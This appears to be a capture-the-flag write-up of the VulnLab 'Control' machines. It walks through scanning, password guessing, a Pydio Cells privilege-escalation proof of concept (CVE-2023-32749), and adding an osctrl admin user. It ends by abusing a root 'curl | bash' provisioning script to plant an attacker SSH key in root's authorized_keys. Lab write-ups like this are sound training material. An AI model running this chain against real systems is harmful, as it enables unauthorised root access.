Post

VulnLab Control

VulnLab Control

VulnLab Control

Control

Recon

1
2
3
└─$ rustscan -a 10.10.235.85,10.10.235.86 -r 1-65535 -g                              
10.10.235.85 -> [22,443]
10.10.235.86 -> [22,80,443,8443,8444]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
└─$ nmap -sC -sV -p22,443 10.10.235.85                                                               
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-12 23:15 +06
Nmap scan report for 10.10.235.85
Host is up (0.21s latency).

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 be:fa:cf:c3:c8:b1:50:11:f2:b0:73:b8:c5:ad:3d:0b (ECDSA)
|_  256 ef:4e:d4:7e:cc:dc:d6:90:91:d8:ed:1d:7b:88:07:b4 (ED25519)
443/tcp open  ssl/http nginx 1.25.0
|_http-server-header: nginx/1.25.0
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-title: start [control.vl Intranet]
|_http-generator: DokuWiki
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=wiki.intra.control.vl/organizationName=Belleville/countryName=CA
| Not valid before: 2023-06-30T12:30:10
|_Not valid after:  2033-06-27T12:30:10
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.23 seconds

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
└─$ nmap -sC -sV -p22,80,443,8443,8444 10.10.235.86
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-12 23:16 +06
Stats: 0:00:11 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Nmap scan report for 10.10.235.86
Host is up (0.084s latency).

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 05:0f:88:bf:a3:a3:b9:f1:d7:82:fc:b1:92:19:90:ab (ECDSA)
|_  256 0b:53:d6:5d:21:4a:64:1d:69:aa:bd:01:77:87:90:cc (ED25519)
80/tcp   open  http     nginx
|_http-title: Did not follow redirect to https://10.10.235.86/
443/tcp  open  ssl/http nginx
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=os.control.vl/organizationName=Belleville/countryName=CA
| Not valid before: 2023-06-30T16:21:40
|_Not valid after:  2033-06-27T16:21:40
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
8443/tcp open  ssl/http nginx
| ssl-cert: Subject: commonName=os.control.vl/organizationName=Belleville/countryName=CA
| Not valid before: 2023-06-30T16:21:40
|_Not valid after:  2033-06-27T16:21:40
|_ssl-date: TLS randomness does not represent time
| http-title: Login to osctrl
|_Requested resource was /login
8444/tcp open  ssl/http nginx
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| ssl-cert: Subject: commonName=os.control.vl/organizationName=Belleville/countryName=CA
| Not valid before: 2023-06-30T16:21:40
|_Not valid after:  2033-06-27T16:21:40
|_ssl-date: TLS randomness does not represent time
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.70 seconds

os.control.vl

Some Wiki service running on port 443

We find interesting page containing info about another subdomain cells.intra.control.vl

We need valid usernames to start password spraying. We can find some in Recent Changes tab in Wiki

We can construct a user list (we can find username policy deleted login.png)

1
2
3
4
a.larose
s.thibodeau
j.george
k.leblanc

But none of the following attempts didn’t work. Yet we find another user in Old Revisions tab: k.dagenais

Credentials work and we can access File Sharing platform

Nothing interesting. There’s a publicly available PoC for CVE-2023-32749 for Pydio Cells, which will create a new user with all roles

1
2
3
4
5
└─$ python3 exploit.py -u 'k.dagenais' -p 'Summer2023!' -l 'https://cells.intra.control.vl'
[*] Got the JWT token DOtMTIpTBgyFVMWDrWpCdwUH9X3gTMtTYz9_UQpet10.Gw6-41Vr_nVHdvn4_6IAYCphfoNHhsohSp2pM5t6SvE
[*] Got uuids for the new user
[*] Created new user: foobar with password: hunter2
<SNIP>

After authenticating as new user, we find 2 additional files

We find user credentials for provision user in chat roomm

Trying it on os.control.vl works and we get first user flag

We see mentioned osctrl and osquery

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
provision@os:/opt$ ls -hla osctrl/
total 103M
drwxr-xr-x 7 root   root   4.0K Jun 30  2023 .
drwxr-xr-x 4 root   root   4.0K Jun 30  2023 ..
drwxr-xr-x 2 osctrl osctrl 4.0K Jun 30  2023 carved_files
drwxr-xr-x 2 root   root   4.0K Jun 30  2023 config
drwxr-xr-x 2 root   root   4.0K Jun 30  2023 data
-rwxr-xr-x 1 root   root    30M Jun 30  2023 osctrl-admin
-rwxr-xr-x 1 root   root    21M Jun 30  2023 osctrl-api
-rwxr-xr-x 1 root   root    20M Jun 30  2023 osctrl-cli
-rwxr-xr-x 1 root   root    34M Jun 30  2023 osctrl-tls
drwxr-xr-x 6 root   root   4.0K Jun 30  2023 static
drwxr-xr-x 3 root   root   4.0K Jun 30  2023 tmpl_admin
provision@os:/opt$ ls -hla osquery/
total 16K
drwxr-xr-x 4 root root 4.0K Jun 30  2023 .
drwxr-xr-x 4 root root 4.0K Jun 30  2023 ..
drwxr-xr-x 2 root root 4.0K Jun 30  2023 bin
drwxr-xr-x 3 root root 4.0K Jun 30  2023 share

We can list existing users using osctrl-cli

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
provision@os:/opt$ /opt/osctrl/osctrl-cli -d -D /opt/osctrl/config/db.json user h
NAME:
   osctrl-cli user - Commands for users

USAGE:
   osctrl-cli user command [command options] [arguments...]

COMMANDS:
   add, a                         Add a new user
   edit, e                        Edit an existing user
   change-permissions, p, access  Change permission in an environment for an existing user
   reset-permissions, R, reset    Clear and reset permissions for a user in an environment
   show-permissions, S, perms     Show permissions for a user in an environment
   all-permissions, A, all-perms  Show all permissions for an existing user
   delete, d                      Delete an existing user
   show, s                        Show an existing user
   list, l                        List all existing users
   help, h                        Shows a list of commands or help for one command

OPTIONS:
   --help, -h  show help (default: false)

There’s only admin user

1
2
3
4
5
6
7
8
9
10
11
12
provision@os:/opt$ /opt/osctrl/osctrl-cli -d -D /opt/osctrl/config/db.json user l
Existing users (1):
+----------+----------+--------+--------------------------------------+----------------+--------------------------------+
| USERNAME | FULLNAME | ADMIN? |         DEFAULT ENVIRONMENT          | LAST IPADDRESS |         LAST USERAGENT         |
+----------+----------+--------+--------------------------------------+----------------+--------------------------------+
| admin    | Admin    | True   | 06db90ca-cdf6-4735-928c-17654a398aa3 | 10.211.55.2    | Mozilla/5.0 (Macintosh;        |
|          |          |        |                                      |                | Intel Mac OS X 10_15_7)        |
|          |          |        |                                      |                | AppleWebKit/537.36 (KHTML,     |
|          |          |        |                                      |                | like Gecko) Chrome/114.0.0.0   |
|          |          |        |                                      |                | Safari/537.36                  |
+----------+----------+--------+--------------------------------------+----------------+--------------------------------+

We can create new user with admin privileges

1
2
provision@os:/opt$ /opt/osctrl/osctrl-cli -d -D /opt/osctrl/config/db.json user a --username pentest --password P@ssw0rd --admin -e 06db90ca-cdf6-4735-928c-17654a398aa3
✅ created user pentest successfully

Now we can login to https://os.control.vl:8443/

We can run queries against both hosts (Documentation). Let’s check sudoers

We found kara user with all privileges. We can check if kara has ssh private key with:

1
select * from users join user_ssh_keys using (uid);

Let’s read it using carve functionality

We successfully connect as kara and get root flag

intra.control.vl

After enumerating intra.control.vl, we found nothing interesting except authorized_keys of the root user, which means that provision user can run the /opt/provision/provision.sh script as root user

1
command="/opt/provision/provision.sh" ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPY2yl4zl771A+n/7vbEB1kF/pbsC27XF5F5yV6Cd56S Temporary Provisioning Key
1
2
root@os:/var/www/html# cat /home/provision/.ssh/id_ed25519.pub 
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPY2yl4zl771A+n/7vbEB1kF/pbsC27XF5F5yV6Cd56S Temporary Provisioning Key

The content of /opt/provision/provision.sh. It allows to run specified module from /opt/provision/modules/ directory and passes arguments, which are set during ssh connection

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/bash

# (c) 2022-2023 by Kara Leblanc
#
# This is a temporary server provision wrapper for control.vl unix servers.
#
# For security reasons the provisioning ssh key is only allowed to run
# this script and not all commands on the machine.
# This script will only allow to run commands that are contained in special
# modules in the modules/ directory. Despite being highly secure there are
# probably better solutions to our problem but we need to evaluate them. We
# will therefore stick with this script for now.

set -- $SSH_ORIGINAL_COMMAND
if [[ -n $1 ]] ; then
  module=$(basename ${1})
  shift
  if [[ -f /opt/provision/modules/$module && -x /opt/provision/modules/$module ]] ; then
    exec "/opt/provision/modules/$module" "$@"
  fi
fi

We can list modules in /opt/provision/modules/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
{
  "name": "query_580a0f76fdb41bd8df0f62948dc43e6c",
  "result": [
    {
      "path": "/opt/provision/modules/prov_df",
      "directory": "/opt/provision/modules",
      "filename": "prov_df",
      "inode": "262757",
      "uid": "0",
      "gid": "0",
      "mode": "0755",
      "device": "0",
      "size": "85064",
      "block_size": "4096",
      "atime": "1688214099",
      "mtime": "1644249788",
      "ctime": "1688122017",
      "btime": "0",
      "hard_links": "1",
      "symlink": "1",
      "type": "regular"
    },
    {
      "path": "/opt/provision/modules/prov_osqd",
      "directory": "/opt/provision/modules",
      "filename": "prov_osqd",
      "inode": "38013",
      "uid": "0",
      "gid": "0",
      "mode": "0700",
      "device": "0",
      "size": "148",
      "block_size": "4096",
      "atime": "1688224965",
      "mtime": "1688224965",
      "ctime": "1688224965",
      "btime": "0",
      "hard_links": "1",
      "symlink": "0",
      "type": "regular"
    },
    {
      "path": "/opt/provision/modules/prov_uname",
      "directory": "/opt/provision/modules",
      "filename": "prov_uname",
      "inode": "263318",
      "uid": "0",
      "gid": "0",
      "mode": "0755",
      "device": "0",
      "size": "35328",
      "block_size": "4096",
      "atime": "1696334310",
      "mtime": "1644249788",
      "ctime": "1688122020",
      "btime": "0",
      "hard_links": "1",
      "symlink": "1",
      "type": "regular"
    }
  ],
  "status": 0,
  "message": ""
}

After downloading each, we found something interesting in /opt/provision/modules/prov_osqd

1
2
3
4
5
6
#!/usr/bin/bash
if  ; then
  echo "Missing options." >&2
  exit 42
fi
curl -sk https://os.control.vl/${1}/${2}/enroll.sh | bash

Since we control os.control.vl, where we can host malicious entroll.sh. First create a script in /var/www/html

1
2
3
4
5
root@os:/var/www/html# nano enroll.sh
root@os:/var/www/html# cat enroll.sh 
#!/bin/bash

echo "ssh-<SNIP>LTXH3V/ kali@kali" > /root/.ssh/authorized_keys

Change /etc/nginx/sites-enabled/tls.conf and add a new location /pen/test to make it functional for curl -sk https://os.control.vl/${1}/${2}/enroll.sh command, since it uses 2 arguments

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<SNIP>
    location /pen/test {
        root /var/www/html;

    }

    location / {
        proxy_set_header        Host $host;
        proxy_set_header        X-Real-IP $remote_addr;
        proxy_set_header        X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header        X-Forwarded-Proto $scheme;

        # Fix the “It appears that your reverse proxy set up is broken" error.
        proxy_pass          http://localhost:9000;
        proxy_read_timeout  90;
    }
<SNIP>

Reload nginx

1
2
3
4
5
root@os:/var/www/html# nginx -s reload
nginx: [warn] "ssl_stapling" ignored, no OCSP responder URL in the certificate "/etc/nginx/certs/osctrl-admin.crt"
nginx: [warn] "ssl_stapling" ignored, no OCSP responder URL in the certificate "/etc/nginx/certs/osctrl-admin.crt"
nginx: [warn] "ssl_stapling" ignored, no OCSP responder URL in the certificate "/etc/nginx/certs/osctrl.crt"

The modifications work

1
2
3
4
└─$ curl -k https://os.control.vl/pen/test/enroll.sh
#!/bin/bash

echo "ssh-<SNIP>LTXH3V/ kali@kali" > /root/.ssh/authorized_keys

Connect using provision’s private key and specify prov_osqd script and arguments pointing to created location

1
└─$ ssh -i provision.id_rsa root@10.10.235.85 'prov_osqd pen test'     

Now, connect as root using private key and grab the flag

https://api.vulnlab.com/api/v1/share?id=17023969-64ec-4b73-b7f2-d9241d0e44b2

This post is licensed under CC BY 4.0 by the author.